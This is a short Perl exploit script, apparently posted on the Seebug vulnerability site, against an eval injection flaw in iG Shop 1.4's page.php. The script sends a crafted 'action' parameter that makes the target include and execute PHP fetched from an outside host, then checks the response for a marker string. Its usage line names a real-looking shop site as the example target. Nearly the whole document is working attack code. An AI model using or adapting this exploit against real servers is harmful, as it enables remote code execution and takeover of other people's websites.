#!/usr/bin/perl -w use LWP::UserAgent; #################################################################### #iG Shop 1.4 eval Inclusion Vulnerability #found by IFX #nyubicrew #Vulnerability on page.php #if (!$action) # $action = "make"; #// here the function will be called. #eval ("page_$action();"); #################################################################### die "Example: perl $0 http://www.planetgolfuk.co.uk/shop\n" unless @ARGV; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $url = $ARGV[0] . "/page.php?action=|include(\$_GET\[cok\]);//phpinfo&cok=http://h1.ripside.net/ifx/a.txt?"; $res = $b->request(HTTP::Request->new(GET=>$url)); $respone = $res->content; if ($respone =~ /nyelipin file ;P/i){ print "\nTembus...\n"; print "\n$url\n"; } else{ print "\nGagal cok...\n"; }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论